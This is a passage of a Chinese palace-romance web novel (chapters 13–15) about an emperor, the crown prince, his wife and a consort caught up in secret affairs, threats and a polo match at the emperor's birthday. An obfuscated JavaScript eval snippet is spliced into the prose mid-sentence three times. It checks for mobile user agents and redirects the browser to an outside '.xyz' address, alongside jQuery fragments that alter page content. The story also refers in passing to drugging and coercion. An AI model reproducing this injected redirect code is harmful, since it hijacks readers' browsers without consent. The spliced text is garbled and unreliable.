可自己今日称得上是“临阵脱逃”,不知事情传到皇帝耳中,又会变成什么模样。 想到这里,她好看的一双眉又竖起来了。 都怪那个该死的登徒子! 太后坐在静室里,有一搭无一搭逗弄着怀中的曾孙衡山郡王,笑眯眯地同太子与太子妃闲聊。 她还以为自己这个儿子不会再来,没想到皇帝料理完公事,竟又策马赶来,心疼得不得了,一叠声地叫人拿热热的香饮子来:“皇帝忒辛苦了些,大热的天也不说缓一缓,真当自己是铁打的不成?” 除却宫中大宴,元朔帝很少有因国事离开后再折返的时候,即便他回到清平殿闲坐一两日,又有谁会指责一二呢? “儿子平日里陪伴阿娘的时候不多,心里记挂着,一了了事便立刻赶来。” 元朔帝嘴边噙了一丝笑,平和道:“不碍事的。” 女子的心思一时难猜,他也没那么放在心上,可今日他偏爱纵马长跃,静气上的功夫不那么足,便坐不下来。 热血翻涌,意气风发,似只有踏过崎岖山路,痛痛快快地流一回汗,才觉不负韶光。 甚至这几十里路,他犹嫌看不足。 汤泉宫他来过三十余次,对地形早已了熟于心,可像今日才忽而发觉,树木绿荫满枝,鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623275|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀啾啾鸣叫,山林旷远,偶尔一阵风过,万壑松涛何等壮阔。 太后虽然年迈了些,但对周围的感知还是敏锐的,譬如今日太子和太子妃虽然面上相敬如宾,可关系却似更冷了一层,又如她的儿子,今日的语气神情瞧着和往常无异,可仔细瞧一瞧,又有什么不同似的。 儿子做了皇帝后威仪深重,在内廷里即便态度温和,也多是不苟言笑,叫嫔妃儿女不敢轻易亲近。 他有心说笑时旁人还能面上故作轻松些,随声附和,若不言不语,光是坐在那里,就已令人束手束脚,因此太后也不一定要拘着他陪伴在侧。 可今日皇帝确实心情颇佳,说话间不自觉便含了笑,低头逗弄衡山郡王时连深邃的眉眼都舒展了几分。 冷灶忽然冒起热气,太后左思右想,列坐的嫔妾皆为旧人,太子妃讲给长辈听的笑话并没那么有趣,要说新鲜又惹人疼爱,也就是怀里这个小孩子了。 抱孙不抱子,隔辈亲总是难免的。 而且……这个孩子是太子唯一的男嗣。 “皇帝也许久没见咱们景明了,可这孩子一瞧见祖父还是笑。” 太后抿唇,要怀里的孩子唤人,轻轻打趣道:“可见他阿娘教得好,要我说,云承徽的位分也该提一提了。” 皇帝不肯把事情做得没了退路,她也只好用这种提拔生母的法子表示一下对这个孩子的喜爱。 元朔帝不置可否,唇边的笑意却淡了些,做了二十年天子,对于年华逝去的事实他早已坦然接受,只是偶尔还是会觉得刺耳。 被骂一声为老不尊不过是调情的手段,可总被旁人提起此事,心里难免生出些不快。 神情同样变色的还有太子妃,只是妃妾晋位毕竟是东宫的喜事,太后这句话甚至很有可能意味着某种可能,指甲深深嵌入掌心,最后她还是笑了起来,随太子一道谢恩。 她应该高兴,只是有些不甘心。 劳心劳力了一日,又要陪着太后说笑逗趣,又要看顾着这个庶子,周全着皇后与嫔妃,末了便宜的竟是一个不会出现在此处的低等妃妾! 忽而想到了什么,太子妃悄悄去瞟了一眼身前的太子,唇边勾起一抹讽刺的笑。 她的夫君也同样怔了怔,随后露出看似真心实意的笑容,替云承徽和这孩子谢恩,很是体贴的父亲模样。 谁能想到,太子正值气血方刚的年纪,东宫这些妃妾过得也没比皇帝的嫔妃好上几分。 而这一切都源于同一个女人,一个野心勃勃、不知廉耻的荡/妇。 但可笑的是,这对天底下最尊贵的父子可不这么想,甚至还一无所知。 她看着太后手里抱着的孩子,恍惚片刻,不知怎么想起来自己有孕时,沈氏、或者说如今的卫贵妃寻上东宫那一日。 贵族男子不单有三妻四妾,还会在外养些外室伶人,还有养娈童的,但太子妃接受的教育里,这些卑贱的男女在她面前是如蝼蚁一般的可怜人,通通不值得她放在心上。 正所谓不痴不聋不做阿家翁,她是正妻,只要太子给予她足够的尊重,那些逢场作戏的事情睁一只眼闭一只眼就算了。 更何况太子是一个洁身自好的男子,若不是长辈偶尔赏赐美人,大约也就像元朔帝那般,有一妃二妾便足够了。 他极少流连于内宅,即便临幸妃妾,也十分克制。 可当她见到那张扬的女子对她盈盈下拜时,竟毫不避讳遮掩颈处点点红痕。 那是被男子尽情疼宠滋润过的模样。 彼时的沈氏下巴轻扬,笑容明媚,近乎残忍,对她炫耀太子的宠爱:“太子妃娘娘就不想除掉我这个眼中钉?” 她恨得几乎眼中滴血,可下一刻,这个将她丈夫迷昏了头的贱人语气柔和了许多,似乎是蛊惑:“只要娘娘愿意助我达成心愿,我从此再也不会缠着殿下,两厢欢喜,这不好么?” 这个诱饵对于那时的她来说太过诱人,她昏头昏脑地一头扎进去,最后换来的不是浪子回头,而是进一步的疏远冷淡。 太子妃想起太子近来做了和尚般的节制,不难猜出这究竟为了谁。 那人还是一如既往的贪心,失去了陛下的宠爱,就来勾引太子,毫无信誉可言。 既然如此,她也没必要再替这位庶母瞒着些什么。 太子妃垂下头,她是时候与殿下讲一讲这段旧账了。 14.第 14 章 太子冷笑一声,能为什么呢,因为他宠爱宜娘,同样也远远超过旁人,那些女子不足以对她构成威胁,但宜娘会。 她显然是有备而来,身后竟无侍女跟随。 但父皇和祖母就在近前,他不敢轻率,还是与她一前一后入了一间供贵人暂歇的静室,令亲信守在门口,不许人进来。 他略有几分不耐烦,蹙眉道:“你又要做些什么?” 太子妃亲自斟了两盏茶奉上,莞尔一笑,惆怅道:“真是可怜见,妾能与自己的夫君独出一室,安安静静说两句话,还是托卫母妃的福。” 她拿捏住了太子的命门,但这样的威胁不能常用,也不想卖什么关子:“殿下或许想,您大婚前就私下将她安置在别宅,妾一年俸银八百,她竟有一千,您每月歇在正房至多两次,同沈氏白日交欢,一月六回都嫌少,妾容不下她好像也没什么说不通的。” 往事重提,太子强压着怒气,要不是因为顾忌着闹起来会叫父皇知道,他恨不得杀了眼前这个女子。 父皇后宫多年无所出,只要二弟一直保持着如今的恬淡性子,他根本不需要妻族多少助力,选太子妃最要紧的是迎合父皇和祖母的心意,其次便要容得下宜娘。 他对这个名义上的妻子没什么别的要求,否则太子妃的位置还轮不到她坐。 “可殿下难道不曾想过,您有心瞒下此事,妾一个养胎的深宫妇人,如何能知道您与沈氏的房中秘事?” 太子隐隐有些不安,他一心认定是太子妃私下安插了耳目,后来发生的事情一件接一件,他早无心去细究根底。 太子妃眼中含泪,心底莫名有些快意:“是她那日寻上门来,亲口告诉妾,您是如何在她身上寻欢作乐,对她百依百顺,要不是您还指望着东宫的妻妾为您生一个儿子出来,连碰都不想碰妾一下。” 在此之前,她一直以为自己过得还算舒心,毕竟那些姬妾一月能得幸一次就算得宠的了。 却没想到太子之所以清心寡欲,并不是因为迎合父皇,而是……早在外面得到了满足。 沈氏那日的嘴脸她记得很清楚,明明是那样卑贱的女子,却对她露出轻蔑、怜悯的神情,好像她只是拣几件不要紧的事情说出来,更要命的东西还在后头。 太子只是想要个儿子,他根本不在乎嫡庶,不过是为了证明储君能够生育,为了取悦他的父皇,为了稳固东宫的地位……为了给沈氏之后生的孩子铺路。 他甚至迫不及待,已经给她寻了一个清白人家重新入良籍,打算把她伪造成打猎时偶遇的农家女。 何其可笑,她依赖仰仗的丈夫日夜筹谋着为沈氏铺路,沈氏殚精竭虑,不惜将这一切和盘托出,只为离开东宫的禁锢。 甚至提起太子时,再轻描淡写的语气也掩藏不住心底的厌烦:“娘娘不必觉得妾是欲擒故纵,诱您与太子夫妻离心,其实我早就不喜欢和他睡觉了,野/合讲究的是两情相悦,可我不愿意,太子又不肯放手,您说我除了找您,还能怎么办呢?” ……她真不敢相信,沈氏竟也是官宦人家的女儿。 “你闭嘴!” 冒着缕缕热气的茶盏摔碎在太子妃裙边,瓷片溅开,太子额上青筋乍起,原本的温润谦和消失殆尽,神色堪称恐怖,他不敢回忆那日的情景。 宜娘之前和他耍了很久的孩子脾气,要同他一刀两断,什么银货两讫,仿佛他们之间的恩爱就是一场权/色交易。 还没等他弄清楚女子复杂别扭的恼意,她又转了心性,欢欢喜喜地和他在一起。 她勉强答应先做他的姬妾,再慢慢到良娣乃至于正室,但日后他做了皇帝,东宫的位置一定是留给她所生皇子的。 他欢喜得夜不能寐,过了几日,才耐着性子与太子妃提起想纳新人入府的事情,当夜还为正妻设了小宴,庆贺太子妃有孕,实在高兴得厉害,多饮了几杯。 可第二日午后,他醒来便听闻自己昨夜竟糊里糊涂地将宜娘赏赐给了陵阳侯萧彻,阿彻明知他对宜娘是何等心意,醉后竟也坦然收用,还恬不知耻道既然是太子爱重过的女子,做个妾委屈了她。 这个人疯了,竟要娶她做正妻。 从那以后,宜娘便对自己冷若冰霜,任凭他如何苦苦哀求,也是一副拒人于千里之外的姿态。 直到萧彻战死,她再无人可依,他又用了些药,宜娘的态度才软了下来。 与一个暴怒的男子同处一室,显然不是什么明智的事情,但太子妃心里清楚得很,他不敢在这里杀了自己。 太子这座山再高,也越不过天去。 “在殿下不知情时,您心爱的卫母妃早就与您信重的萧郎君眉来眼去……妾猜您这些时日的反常,大抵是娘娘又和您说了些什么罢?” 太子妃低低一笑,她无亲生子,衡山郡王再受宠,日后不过是为旁人做嫁衣,和缓而恶毒道:“她的眼睛生得很美,哭起来一定无辜极了,那日燕国公府献舞,她明明是想和您重修旧好,却爬错了榻,睡错了人,不小心和陛下搅到了一起,实际上心底是喜欢您的,妾说得对么?” 石子投落湖水,泛起阵阵涟漪,但转瞬又被抚平如镜,太子定定看向她,反而被这番话奇异地安抚下来,唇角轻扬:“你既然胸有成竹,就该到父皇面前搬弄是非才对,叫我与她身首异处不好么,何必在此做怨妇状?” 每每听到宜娘的事情,他都难以静下心神,宜娘是一碗放了饴糖的热茶汤,便是太子妃不来提醒,夜深人静之际,也忍不住浅尝细品,哪怕甜中有苦,也涩得令人回味。 父皇龙凤之姿,或许宜娘得宠后也会心动,可她被父皇宠幸确实是个意外,入宫后每次承宠后都为了他服用凉药避子,甚至后来东窗事发,天子雷霆震怒,宜娘也不肯将他供出。 这样的情意,他若起心怀疑,才真是可笑至极。 他这位太子妃,似乎还认不清她的性命荣辱皆在自己身上,大约日子过得太舒坦,竟管到他头上来。 “道观灵祟颇多,孤不知你今日是被什么冲撞了,也不欲计较。” 太子恢复了温润如玉的模样,难得温存地拍了拍她肩膀:“毕竟咱们过了这么多年,一直是阿耶阿娘眼中的佳儿佳妇。” 肩头的暖热转瞬即逝,太子妃亲眼瞧着他吩咐侍者拿来兑了香露拧好的巾帕,缓缓拭净每一根手指,柔和叮嘱道:“不过话出口前,孤劝你还是该多想想乐阳。” 那口哽在心头的气忽然就散了,太子妃满眼含泪,不可置信地望着太子。 乐阳,是她唯一的女儿……却不是太子唯一的女儿。 太子出门后吩咐侍从近前,眉峰渐耸,夫妻过了许多年,没有脉脉的温情,只剩下赤/裸/裸的威胁,告发他对于太子妃而言没有任何好处。 “贵妃娘子身边服侍的人如今还是少了些。” 父皇来到行宫这些时日一直没有表露出对宜娘的兴趣,宜娘为了他也甘愿守在行宫,太子思及此,声音都柔和了几分:“趁这两日叫人再悄悄送些心细、得力的人去服侍,告诉娘娘,缺什么就来要……就是在行宫里,也没人能委屈了她。” 母亲不喜欢宜娘,太子妃不肯装聋作哑,他不免担忧宜娘的安危。 侍奉太子的内侍欲言又止,元朔帝正当盛年,太子对庶母关怀至此,一旦被陛下发觉……想想昭阳殿里安插过的那些人,都不免捏一把汗。 可这些年来,太子在皇帝面前愈发谦恭得体的同时,对卫贵妃执念亦愈发深重,就连太子妃也无法劝谏,他们便是有心劝说一二也没法子。 沈幼宜懒洋洋在美人榻上看书时,见到这十余位新送来的内侍宫人,蛾眉轻挑,几乎被太子气笑了。 卫贵妃就算真与太子有过什么,那也只能称得上是一段露水情缘,太子当他自己是什么,她的正室娘子? 信不过她私下的誓言,还要在她身边放置耳目,盯着她的言行举止,擎等着捉奸? 沈幼宜有些头疼,太子殿下对卫贵妃很好,可这些年却不见多少长进,还同当初她所见的那样意气用事,或者是打量她失宠太久,做事不加顾忌。 可他这嫉妒也不算错,她就没打算与他重修旧好。 设置那么刁钻的条件,不过是想叫他忍耐不得,先她一步毁约。 她如今是贵妃,才不会真心为了太子几句轻飘飘的许诺而守身如玉,不过是万事留一线,稳住他几日罢了。 引人过来的内侍早听闻贵妃对人对物的挑剔,见她面露不悦才悄悄松了一口气,小心道:“娘子可是瞧不中奴等这些粗手笨脚的?” 行宫人手不足,除了各位嫔妃身边跟随的侍者,掖庭局又往各宫新添了许多做粗活的下人,但贵妃是早在这里住惯了的,他们骤然讨好一个失宠嫔妃,细究起来行事不算稳妥。 沈幼宜望了他几眼,此人她没什么印象,但也应是太子身边信重的人,和颜悦色道:“力士说笑了,你们都是太子殿下精心挑选过的,我有什么不欢喜的,只是打心眼里有几分为你们不值。” 她生得动人,在东宫时待奴婢们就体恤,要想叫人心折是极容易的事情:“不要说升官加爵这种俗事,你们跟着殿下好歹都有正经的要事可做,伺候我一个冷宫妇人不过是荒度时光。” 贵妃的话真心实意,那内侍笑容满面,低声下气道:“能服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638292|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍娘子是奴等荣耀,您这样说是折煞奴才了。” 沈幼宜叹气:“我知道殿下一片孝心,可这样做来总归不大妥当,宫中用人一向有规矩,陛下修身养德,崇尚节俭,我是待罪之身,宫中添了新人须得先去求皇后娘娘恩准……再说,我这里也不缺人服侍。” 那内侍满心感激,压低声音提醒道:“殿下只是关心则乱,娘子虽在内廷,也须得小心东宫那位……殿下惦记着您,奴婢奉命而来,要是能得娘子一件贴身物件,回去也好交差。” 这些要求沈幼宜一点也不陌生,一头陷进去的男女头脑一热,总要给彼此留下点蛛丝马迹,她是同太子山盟海誓过的,收过的钗环珠翠不知几何,送出去青丝扇坠也有不少,空吃了一份担惊受怕的苦,没见这些东西能牵住情郎的心。 那内侍提议后颇有几分不安,悄悄觑贵妃的面色,贵妃再落魄,也是主子,他未免太强人所难。 然而贵妃却当真从袖中抽出一方皎洁素帕,丢在他身上。 他不解其意,却见贵妃似是羞怯,转过头去瞧铜镜里的妆容,嗔怪道:“真真偏他能作怪,只这一回,叫他自己猜去。” 镜面粼粼如水,他眯着眼细瞧,美人紧绷着脸,不似恼怒,倒像是忍笑,这才放下心来,行礼告了个罪退下。 道观讲了三日经,圣驾才返回行宫。 太后见元朔帝近来兴致颇高,常在皇帝请安的时候吩咐贵妃前来,教这孩子认个错,省得她成日战战兢兢,担忧被天子遗弃在冷宫里。 但也不知这孩子是怎么了,不是头疼脑热,就是在诵经礼佛,常常推辞不来。 皇帝留在望明殿里的时辰是有数,亦非三岁稚儿,来去这几日,便知道贵妃的意思,反倒劝她不必教妃妾早早过来侍奉,打扰了母子相处的清静。 两人当真是怪极了,但她冷眼瞧着,皇帝倒也不似是恼了贵妃的模样。 皇后来望明殿请安,正巧遇上皇帝,其间谈起列席妃妾与宗室王公,问起杨修媛坐席的安排,不经意间提起贵妃,试探天子心意。 “论理贵妃位分最尊,应该在妾下首,可修媛娘子毕竟是太子生母,她来求妾这个恩典,妾也有几分为难,来讨母后与陛下的旨意。” 卫氏未入宫前,妃妾之中杨修媛地位最高,资历也老,元朔帝瞧在太子与长孙的份上也不大理会。 不过那日皇帝倒有几分不悦:“内廷以品阶定尊卑,皇后掌管后宫,这样的小事不必来扰母后的清静。” 卫贵妃早就称病,皇帝要给个没脸,索性教她不出来也就是了,皇后虽知圣意难测,还是含笑应了下来。 天子万寿,礼仪繁多,虽说只是小宴,却也足以令人头疼,皇帝三更起身,后妃们也没好上多少,鸡人还没报四更的时辰,沈幼宜就被檀蕊三催四请地唤起身,更衣梳妆。 她私下悄悄练习宫中礼仪,皇后也命人知会过她宴会安排,元朔帝受了臣子与使节朝贺后会与太子群臣马球蹴鞠,而后与后妃登楼看狮象奏乐、舞马列阵,彰显天/朝气象,最后才是宴饮歌舞。 沈幼宜早就知道自己生得很美,不画不描时也如清水芙蓉,她不觉得浓妆艳抹会为自己增添多少容色。 可华服高髻带来的不止是沉甸甸的疲倦,还有对未知前路的兴奋与紧张。 镜中的美人眼波流慧,玉容皎皎,面色红润,侍女环簇之下如九天神女,还有几分没睡醒的慵懒姿态,夏日衣衫轻薄,她又有意教岁朝改了些许,显出腰肢纤细窈窕,虽肌肤丰盈,竟有几分娇弱不胜的姿态。 岁朝不比檀蕊这些自幼就在宫内服侍的宫人,她经历过男女之事,今日贵妃贴身的衣物也是由她服侍穿戴的,至今袖子下的手都微微颤抖,睡意全无。 她知道贵妃跳脱,胆子又大,可哪怕不敢问,还是忍不住多一句嘴提醒:“娘子如此行事,陛下当真不会恼了您吗?” 沈幼宜忍俊不禁,瞥过她一眼。 岁朝如此不安,可见皇帝对她这几日的回避必然是着了恼。 这些日子下来,她确信,内侍省的人果然在瑶光殿里安了一双眼。 卫贵妃只能依靠清平殿里的一点烛火窥视君王,而她的一举一动天子却可尽收眼底。 高高在上的天子有千万种方法可以从容宁和地观察她,如何费尽心思地注视他、想着讨好他,央求他回心转意。 那她偏偏要在火上再泼一片油,不肯教皇帝称心。 她手心几乎都是汗,促狭起来却还有闲暇安抚道:“陛下又不晓得我要送他些什么,有什么好生气的?” 岁朝面色骤变。 可陛下已经知道了。 15.第 15 章 除了太后,可能后宫的女人都觉得皇帝过生日是件麻烦事。 不过也是后宫里难得的热闹,尽管琢磨着怎么梳妆打扮、挖空心思与旁人争奇斗艳着实不轻松,但沈幼宜到场时,内外命妇簇拥着皇后说话取乐,每个人脸上都洋溢着得体的笑容。 她竟是最后一个到场的。 倒不是她存心想给谁一个下马威,元朔帝的嫔妃本就不多,彼此又分了派系,有皇帝才登基时就伺候在身侧的老人,也有前六七年新采选入宫的低位嫔妃,除了称病的旧人,皇后与杨修媛都已然到了,她们没有不到场的道理。 沈幼宜坐在辇上遥遥一望,连同皇后在内,大概只有七位是内宫嫔妃,而另外几个……像是东宫和藩王的妃妾。 贵妃称病许久,内外早已流言纷纷,只是碍着天子威严,又不好拿到明面上议论,她乍一出现,不要说底下的外命妇,就是皇后也暂停了与旁人的交谈。 她们面面相觑,或直白、或隐秘,无数的惊讶好奇乃至于怨毒的目光落在身上,沈幼宜稳住心神,端端正正走到皇后面前行礼:“妾拜见皇后娘娘,愿皇后娘娘千秋长乐,凤体康健。” 好在今日大家都是按照品阶穿戴的,认人不是困难的差事,她的位分很高,也不必向皇后之外的女子请安,只需要微笑还礼,否则真是有她受的。 皇后面上含笑,亲自起身扶住盈盈下拜的美人,怜惜道:“好久不见,阿臻可真是清瘦多了,但也更招人疼了,我今日叫人预备了你喜欢喝的杏仁茶,要不要尝一点?” 沈幼宜未及答话,就听得下首传来一声冷哼:“贵妃娘子可真是艳光四射,不鸣则已,一鸣惊人,一来就把所有人都比了下去,难怪这时候才来,倒叫咱们好等。” 她身处高位,态度却倨傲,五官精致,和太子生得有几分相似,只是精明太过,就显出厉害刻薄来,沈幼宜与太子有私时没瞧见过这位“婆母”,如今反而有闲情将她慢慢瞧个全,甚至还能点评一二。 杨修媛或许并不比太后好糊弄,但无论作为婆母还是同侍一夫的姊妹,显然要更难相处。 皇后微微有几分不悦,轻轻拍了拍沈幼宜的手,柔声道:“贵妃又不曾来迟,好端端说这些话做什么,咱们都是做祖母的人了,还要当着外人的面争谁先谁后吗?” 杨修媛面上有几分精彩,后宫的女人衣食无忧,可不就是要争谁先谁后这一口气么,就为着她争席位的一点小事,皇后私下特意差人敲打过她,不要以为太子出自她腹,就可尊卑不分。 皇后平日里最会做表面的功夫,要说背后没有皇帝的意思,她才不信。 太子这些日子又犯魔障,他父皇正是器重东宫的时候,他却好端端和太子妃闹起别扭,人前也生疏得很,太子妃虽没告到宫中来,可她心里猜着,和贵妃也脱不了干系。 沈幼宜微微一笑:“妾在宫中整日素面朝天,养久了也觉得气闷,还是皇后娘娘体恤,教我出来同大家瞧马球,好歹是陛下的万寿,不穿戴得体面些怕有失体统。” 皇后崇尚天然,并不热衷于保养肌肤头发,是个气质宁和的美人,她生就一双弯弯的细眉,眼睛说不上多大,可胜在目光清澈柔和,她似一块温润的玉,不消握在手里,只要靠近些许,就能感受到夏日里的一份清凉。 可沈幼宜觉得自己大概心下有鬼,瞧谁也是笑里藏刀,皇后细密疼人的温柔包容里,有些说不出来的味道。 她按照卫贵妃的习惯同皇后亲亲热热地说话,又很得体地问候过低位的嫔妃,才有闲心喝一口杏仁茶,抬眼瞧了一会儿,悄悄问起:“娘娘,场上两队都是些什么人呀?” 马球已经赛至下半场,一队为首着黄,余者着绯,一队则通体为蓝,两队皆是面具遮脸,但显然蓝衣者已经比绯衣者少了许多。 皇后莞尔,指着远处穿了一身黄色圆领缺骻袍的郎君笑道:“你这忘性儿也忒大,往年都是太子殿下领着这些凤子龙孙同禁宫里挑选出来的好手打上几场,为他父皇祝寿,今年也不知谁这样别出心裁,双方竟还戴了面具,有趣是有趣,就是大热天的折腾人。” 但说着说着她的神色稍见落寞:“可惜子琰不爱此道,否则也能教他父皇多欢喜一些。” 除却春日举行的蒐礼外,元朔帝很少在臣下面前亲身上场,天子畋猎,非为娱游,以训武事、察民风为要,但皇帝是马上天子,对于自己的继承人能够很好地彰显皇室武德这一点必然满意。 沈幼宜颔首,太子的身形她很是熟悉,教皇后一说,她又留了几分心,果然再瞧就能瞧得明白。 甚至戴了面具的太子也感受到她的目光,他虽额上淌着热汗,却正志得意满,回望频频,生怕人不知道他瞧见她似的。 她连忙扭过头,含笑对皇后道:“龙生九子,各有所长,二殿下礼贤下士,温和儒雅,只是心思藏得深些,不喜欢亲自上场罢了。” 沈幼宜不大会打马球,甚至骑马也有点发怵,是为了讨太子喜欢,才想着多了解些,不过比赛总是有来有往才好玩些,场上的胜败明显已经差不多了。 甭管皇帝在不在,万寿节上的马球更类似于一场取悦天子的表演,对手又是东宫储君,另一队只要不痴呆到一定境界,都会把心思用到怎么输得更漂亮上。 要说有意思,那得是皇后举办的春日宴,各位郎君都想博个头等,热闹真实又不计较尊卑,看客看着也喜欢。 她垂下眼,正琢磨着嫔妃间的暗流涌动,却被几声惊呼将注意重新吸引到场中。 又是蓝衣一队击中球门,为首的郎君一记仰击,大半的身子探出马背,马球在手中弯月球杖的带动下显得顺从听话,像是粘在上面一般。 太子已无心留意后妃的一举一动,发号施令,颇有王者风范,宗室子弟虽养尊处优,但在玩乐上用尽心思,乍被臣下夺去风采,又在疾驰血热的时候,免不了恼羞成怒,双翼包抄,将蓝衣一队远远截住,余下的人如饿虎扑食,紧紧咬住蓝队为首的人不放。 然而即便双方马驰不止、迅若流电,一阵细细的黄沙扬起后,圆球躲过数位年轻郎君的拦截,竟还是稳稳随着那人。 马球场上的打斗讲究风度、技巧与力量,沈幼宜简直看得挪不开眼,倒不完全是被难得一见的精彩吸引了眼球,而是…… 烈日骄阳,银光闪闪,那面具遮脸的郎君细看之下,好像也有点熟悉? 不止是她心里嘀咕,旁侧的内外命妇照样发懵,要说臣下赢太子,那也不是没有先例的,可这是什么场合,要到这种不留情面的地步,是不是有点太不知道礼数了? 但令人称奇的是,杨修媛虽紧绷着一张脸,却没吐出半个不好的字来。 到这时候,她反而维持住宽宏大度的姿态。 沈幼宜想了一会儿,忽而面色一变,她说怎么如此熟悉! 面具遮脸、约三十岁的年纪……这个人卫贵妃未必不认识! 她不得不再次将目光转向怡然高坐的皇后,眨了眨眼,故作无知:“这位相公好生厉害,娘娘识得此人?” 卫贵妃的情郎再多,也不耽搁她想在人前一一撇清关系。 太子与其手下狼狈的时候皇后没流露出半分惊讶神情,听她这么一问才真吃了惊,来来回回打量她好几眼,正当沈幼宜以为她是不是干了什么蠢事的时候,皇后才以扇掩面,忍俊不禁道:“傻妹妹,旁人不认得就罢了,连你也不认得陛下了么?” 沈幼宜的脑子“嗡”得一声炸开,皇后的话语在命妇间也引起不小的骚动,她的失态不算显眼,可一片莺声燕语中,她分明听见自己的血液在耳骨间奔流作响,快到近乎爆裂开来! 她同元朔帝竟是早就见过了的! 非但见过,她还推了皇帝一把……她闭上了眼睛,忽然有一种事情脱离掌控的恐慌。 虽说没把皇帝的脸看个全,可元朔帝这个年纪,最忌讳人家说老,她是去勾引人的,却骂人家登徒子,还为老不尊! 更要命的是,皇帝知道她不认识他! 即便知道,他还不急不忙晾了她这些日子,是等着什么? 是在疑惑、斟酌,还是等她这个孤魂野鬼放下戒心赴宴,然后彻底定她的罪? 沈幼宜一紧张,下意识吞咽了几下,她心里乱糟糟一片,原本优雅从容面对嫔妃臣妇的姿态也只剩下了表面,甚至觉得她们叫嚷起来很烦——不就是皇帝下场打个球吗,至于谄媚成这样? 一个个的在惊叫什么! 她无心观赛,垂目低眉,恨不得把头埋进杏仁茶碗里,一盏茶吃尽了,也没心思揣度皇后怎么不关怀着让人再给她添一盏。 场上的交锋正到难舍难分的时候,太子唇角干起了一层皮,心火烧得口更渴,他是顺风顺水惯了,面对这等尽孝场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651242|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面早游刃有余,甚至听到贵妃来时的排场,他心里生出一丝隐秘的欢喜。 他想教宜娘瞧见他意气风发的模样,勾起她一片爱慕情思。 宜娘可喜欢郎君们追逐马球时他胸有成竹的模样了,每次打完马球,他浑身还都有使不完的劲,比进了鹿血酒还补,非发到她身上去不可。 可黄沙迷了眼,输赢也迷了裴楷臣的心,上半场输得那般刻意,一到下半场,他就和吃了灵丹妙药似的,就凭那几个人,居然在他眼底下奔驰自如,活似一尾滑不溜手的龙鱼,硬生生要拿这场赛在所有人面前显风头! 太子纵然不计较臣下犯上,多少也生出点恼意了。 要显身手什么时候不能卖弄,天子寿宴,讲究的是大国气象,皇室不忘弓马传统,太子身为储君,竟然输给禁军,教以他为傲的父皇怎么挂得住脸? 更何况宜娘才露出些与他和好的意思,斗鸡场上雄鸡撕咬,斗胜了的抬头挺胸、气宇轩昂,斗败了的谁还在乎呢? 太子一心惦着她,脑子里的思绪免不了翻起江海,宜娘落难后,不知被多少人觊觎过,这人该不会也是看上他的禁/脔了罢? 这面具属实是拖累,汗顺着金纹轮廓淌进眼里,混了沙土又疼又痒,要不是父皇定下的章程,他都想把这面具扔了! 眼瞧着比赛将尽,双方的差距一点点拉平,对方甚至隐隐有超越的意思,而有几位和裴郎将近身过招的王孙忽而束手束脚起来,像是被杀灭了威风。 太子咬了咬牙,策马追了上去,球杆紧紧握在手中,却不是要绊对方的球。 到了最后关头,裴楷臣知情识趣,要做个惜败的模样最好,要不识趣…… 他在球场上还未做出过什么下作的事来,一时分了心,球杆从左后险险擦过对方的手臂,姓裴的顿了顿,手腕翻动灵活,连身子也没转过来,反手一杆,敲在他手背! 太子吃痛,强撑着没叫出声来,他甚至忍痛时还听到了一声轻蔑低沉的笑。 何其不恭! 众目睽睽之下,储君击球受伤,饶是杨修媛忍得再好,也倏然站起身来,唇上一点血色都无,止战的金锣笃笃急响,两旁站班的东宫侍从见场中人马停下,如离弦之箭,一股脑簇拥到太子身边护驾。 还有几个伶俐的要拽了御医来,也有要拿这罪魁祸首问罪的,可太子才忍着痛回过神来,却发觉搀扶自己下马的人中正有裴楷臣在! 他脸上的面具早卸了下来,可惊吓全然不亚于自己。 裴楷臣目睹了方才发生的一切,正是心惊胆颤,陛下是天边上的人,嫌他们稚嫩,除了在军营里,平时是不太和年轻人做这些游戏的,偶然兴致一来,和小辈们玩闹一番,他想着不会出什么事情,也是不敢不从上命,没觉得有什么。 可没想到……他尽了最大的力气对太子示意,好在陛下击球时是背对人的,未必能发觉太子一刹那的恶念。 事实上太子也掩盖得很好,赛场上比红了眼的人不在少数,见血也不稀奇,但任谁也不能笃定太子挥杆是有心报复,而并非为了抢球。 马背上那人似不曾料到略施小惩后引起的骚动,双腿稍一用力,勒马转过身来,单手除掉遮面的獠鬼面具,向被众人环绕的中心投去一瞥。 太子已经许久没有见到元朔帝这一面了,他记不清上一回父皇在他面前大动肝火、乃至起了杀心的光景。 元朔帝的目光很是淡漠,或许有那么一点失望,但那一瞥之下,丝毫不掩饰猛兽嗜血前的彻骨寒凉。 